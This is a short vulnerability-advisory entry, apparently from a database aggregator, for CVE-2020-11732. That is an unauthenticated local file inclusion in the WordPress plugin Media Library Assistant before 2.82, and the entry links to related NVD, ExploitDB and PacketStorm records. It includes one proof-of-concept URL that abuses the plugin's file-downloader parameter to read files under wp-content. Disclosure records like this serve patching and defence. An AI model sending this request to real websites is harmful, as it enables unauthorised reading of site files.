Lucene search
WpvulndbWPEX-ID:80D60584-FA03-407E-A7BD-32D507A1046DHistoryApr 13, 2020 - 12:00 a.m.
Media Library Assistant < 2.82 - Unauthenticated Limited Local File Inclusion
2020-04-1300:00:00
wpvulndb
10
0.002 Low
EPSS
Percentile
53.0%
The Media Library Assistant plugin before 2.82 for WordPress suffers from a Local File Inclusion vulnerability in mla_gallery link=download.
The LFI is restricted to the "wp-content" directory.
http://www.example.com/wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php?mla_download_type=text/htl&mla_download_file=/app/public/wp-content/plugins/index.phpRelated
patchstack
patchstack
prion
prion
Arbitrary file deletion
2020-04-13 02:15:00
nvd
nvd
CVE-2020-11732
2020-04-13 02:15:10
cve
cve
CVE-2020-11732
2020-04-13 02:15:10
wpvulndb
wpvulndb
cvelist
cvelist
CVE-2020-11732
2020-04-13 01:02:19
exploitdb
exploitdb
WordPress Plugin Media Library Assistant 2.81 - Local File Inclusion
2020-04-13 00:00:00
packetstorm
packetstorm
WordPress Media Library Assistant 2.81 Local File Inclusion
2020-04-13 00:00:00